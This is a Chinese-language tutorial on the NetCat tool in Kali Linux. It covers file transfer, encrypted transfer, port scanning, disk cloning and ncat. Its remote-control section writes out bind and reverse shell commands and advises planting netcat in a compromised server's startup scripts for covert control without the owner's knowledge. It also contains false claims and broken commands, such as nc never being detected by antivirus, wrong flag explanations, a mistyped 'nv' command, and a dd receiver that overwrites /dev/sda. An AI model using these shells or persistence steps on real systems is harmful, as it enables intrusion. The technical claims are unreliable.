基础-kali渗透基础工具NetCat–(需要掌握)

NC是一个功能强大的基础常用工具吗,它能做下面这些事情

可以作为侦听模式和传输模式

telnet/获取banner信息

传输文本信息

传输文件/目录

加密传输文件

远程控制/木马

加密所有流量

流媒体服务器

远程克隆硬盘

连接: nc -参数 地址 端口

侦听:nc -l -p 端口 -参数

-c shell命令

-e 程序重定向,一旦连接,就执行 [危险!!]

-b 允许广播

-g<网关> 设置路由器跃程通信网关,最多可设置8个。

-G<指向器数目> 设置来源路由指向器,其数值为4的倍数。

-h 在线帮助。

-i<延迟秒数> 设置时间间隔,以便传送信息及扫描通信端口。

-l 使用监听模式,管控传入的资料。

-n 直接使用IP地址,而不通过域名服务器。

-o<输出文件> 指定文件名称,把往来传输的数据以16进制字码倾倒成该文件保存。

-p<通信端口> 设置本地主机使用的通信端口。

-r 乱数指定本地与远端主机的通信端口。

-q<延迟秒数> 命令执行完成secs秒后断开连接

-s<来源位址> 设置本地主机送出数据包的IP地址。

-T<服务类型> 设置服务类型

-t

-u 使用UDP传输协议。

-v 显示指令执行过程。

-w<超时秒数> 设置等待连线的时间。

-z 使用0输入/输出模式,只在扫描通信端口时使用。

注意:nc在不同系统和版本中可使用的参数不一样。并且NC不管在任何系统平台中都不会被杀毒软件查杀

nc -nv 0.0.0.0 端口号 则是连接nc服务端

电脑A:nc -l -p 端口号       创建服务    -l 是监听模式 监听客户端发送的请求 -p是端口号 打开本地端口号让客户端连接
电脑B:nc -nv 0.0.0.0 端口号   连接服务   -n是指定IP地址不指定IP地址无法连接(不可以使用localhost或者hostname)   -v是详细输出请求内容 如果用两个v会输出更详细的内容 例如 nc -nvv 0.0.0.0 端口号

远程电子取证信息收集

电脑A:nc -l -p 端口号 >XXX文件     作用则是将客户端请求过来的文件发送到XXX文件中保存 如果不加> xxx文件 则直接显示在服务端屏幕
电脑B:ls -l | nc -nv 0.0.0.0 端口号 作用是将查询到的信息直接发送到nc服务端
这样的做法可以保证在不动系统文件的情况下进行电子取证信息收集


传输文件/目录

传输文件

电脑A:nc -lp 333 > 1.mp4        这里是将收到的视频文件或者其他文件 打包到1.MP4 当然如果发生的TXT也可以写成 > 1.txt
电脑B:nc -nv 0.0.0.0 333 < 1.mp4 -q 1 这里是发送视频文件到nc服务端 后面-q 1的意思是快速发送文件 成功以后将会在1秒结束对话
或者

电脑A:nc -q 1 -lp 333 < a.mp4     这个和上面的例子相同 唯一不同处则是-q 1 加在了服务端这里 如 客户端发送一个文件到服务端以后 服务端接收完毕则会在1秒结束对话
电脑B:nc -nv 0.0.0.0 333 > 2.mp4 这里就是发送文件到服务端
传输目录

电脑A:tar -cvf - 文件目录/ | nc -lp 333 -q 1  这段话的意思则是 将需要发送的目录在发送前压缩位一个文件发送到服务端       tar工具中的参数  c是压缩 x是详细信息 f是文件  x是解压电脑B:nc -nv 0.0.0.0 333 | tar -xvf -        服务端接收到客户端发送的文件后则会自动解压为一个目录

前面的客户端与服务端发送文件和数据请求是明文,很容易被其他人中途截取,并做修改在发送到服务端,为此,下面则是加密传输文件

重点:加密传输文件

电脑A:nv -lp 333 | mcrypt  -flush -Fbqd -a rijndael-256 -m ecb > 1.mp4  nc把接收到的数据给mcrypt进行解密 并且保存为指定文件 这里指定的为mp4
电脑B:mcrypt --flush -Fbq -a  rijndael-256 -m ecb < a.mp4 | nc -nv 0.0.0.0 333 -q 1  mcrypt先对a.mp4进行加密  在交给nc发送出去
上方使用的加密工具则是mcrypt工具 kali中默认是不会安装这个工具的他是由PHP编写的 如果要使用这个软件 需要手动安装 apt-get install mcrypt 当用客户端发送文件时 会让设置密码 当服务端收到文件以后会进行身份验证

其中 上面命令中使用的参数 -flush 意思是加密/解密完成后 进行销毁加密密匙 不会保存本地

-Fbq 加密 -Fbqd解密 -m指定加密或解密 -a一种算法指定加密或解密 rijndael-256 为加密算法中的一种 ecd为加密方法 其中更多功能不做详细解释

NC-流媒体服务

电脑A: cat 1.mp4 | nc -lp 333 这个命令的意思是利用cat打开mp4文件并且待发送的状态
电脑B: 0.0.0.0 333 | mplayer -vo x11 -cache 3000 - 这个命令的意思是连接上nc服务端后用mplayer视频播放器打开nc服务端视频并播放
上面使用的mplayer工具 kali中默认是没有安装这个工具的 可以选择其他播放器 但是必须支持命令行的 需要使用这个工具请输入 apt-get install mplayer 进行安装 -vo是选择视频输出驱动程序 x11是指定调整字幕的延迟时间和视频屏幕对比度 -cache 3000 – 是限制视频缓存大小字节/KB单位

NC-端口扫描 

nc -nvz 0.0.0.0 1-65535   其中z是使用0进行IO模式端口扫描 1-65535是将1~65535所有的端口全部扫描一遍
nc -nvzu 0.0.0.0 1-1024 其中u是使用UDP协议进行扫描端口1-1024是将1~1024端口进行扫描

当你在扫描时可以看得出netcat在扫描时,使用的是客户进行扫描的 NC端口扫描只是简单基础的工具 无法准确判断扫描端口是否打开 它会默认全部显示open状态 当然 这种状态是由防火墙 杀毒软件之类的干扰造成的 可以不使用,但需要了解知道这个功能

NC-远程克隆硬盘

远程克隆硬盘,在电子取证中使用也是较多的 可以将目标服务器硬盘远程复制下来 或者内存中的东西 先来说下克隆硬盘(块级别)和把硬盘的所有文件复制(文件级别)出来的区别 当我们删除文件时 这个文件的数据并没有在硬盘被抹除掉 而只是被操作系统标记为了删除(如果学了数据库和数据库里面的逻辑删除很相似)当需要存储新数据的时候 操作系统可能会把新数据覆盖已被标记删除的数据所在扇区 所以直接复制硬盘的文件并不会把已经删除的文件复制出来 但是克隆硬盘可以实现

块级别的复制可以使用dd命令

例子如下:

电脑A:nc -lp 333 | dd of=/dev/sda  这个为接收端  of的意思是输出文件名
电脑B:dd if=/dev/sda | nc -nv 0.0.0.0 333 -q1  这个是发送端  if的意思输入文件名

当然 如果你足够细心的话会发现这个dd命令也可以在本地使用(题外话)例如在本地etc中有个文件想要备份到dev目录下你可以直接使用 dd if=/etc/文件名称 of=/dev/文件名称 也可以挂载其他硬盘发送到另一块硬盘上面

NC-远程控制

正向:

电脑A:nc -lp 333 -c bash   c是shell命令行模式
电脑B:nc 0.0.0.0 333 连接服务端命令行
正向远程连接是客户端可以操控服务端

反向:

电脑A:nc -lp 333         开启服务端
电脑B:nc 0.0.0.0 333 -c bash 用bash shell命令行模式连接服务端进行远程控制
反向远程连接 服务端可以操控客户端

这里指定c为bash也就是linux命令行模式 linux命令行shell有很多种例如csh zsh fish等 但是bash是linux系统中 用的最多的一个shell命令 远程操控后 并不会显示当前用户是谁

注意:如果操作系统是windows shell就要修改为cmd 不能使用bash或者其他linux shell 前提是windows上面已经安装了NC 否则是无法连接的

这里说一个技巧:拿下一台服务器以后可以在已经获取最高权限的服务器中启动系统的脚本中稍作修改 让Netcat服务端随着系统的启动而启动 在被操控用户完全不知情的情况下进行远程控制 当然也需要注意是否可以远程连接(在管理员管理不严格的情况下是可以的)

NC-NCAT

NC缺乏加密和身份验证的能力 上方加密也只是利用第三方工具针对文件进行加密 如果传输的是其他的数据 例如双方聊天 远程控制 则会明文传输 第三方人员想要嗅探是可以完全嗅探到所做的事情 没有安全性

Ncat可以弥补NC中缺乏的加密和身份验证的能力包含于nmap工具包中

电脑A:ncat  -c bash --allow 0.0.0.0 -vnl 333 --ssl    allow指允许某个指定的IP地址远程链接到这里  v是显示详细信息   n是不通过dns解析主机名  l是侦听绑定端口并侦听传入链接的端口  ssl是一种加密协议 输入ncat --help 可以查询更多
电脑B:ncat -nv 0.0.0.0 333 --ssl     当服务端是哪种加密协议 客户端应当输入同样的加密协议,每次链接ssl加密协议会变更,哪怕第三方人员嗅探到的密文想要破解也是不好破解的,不同系统/平台的NC参数功能不尽相同
NC能实现的功能 Ncat都能实现的 NC虽然强大 但是每个版本的NC参数变化很大 版本详细信息请百度 如果使用不同linux平台不知道如何使用 请查看手册 nc -help ncat –help

转载请注明出处!!!

https://juejin.im/post/5e339d54f265da3e1b0adcfc

「点点赞赏,手留余香」

    还没有人赞赏,快来当第一个赞赏的人吧!
0 条回复 A 作者 M 管理员
    所有的伟大,都源于一个勇敢的开始!
欢迎您,新朋友,感谢参与互动!欢迎您 {{author}},您在本站有{{commentsCount}}条评论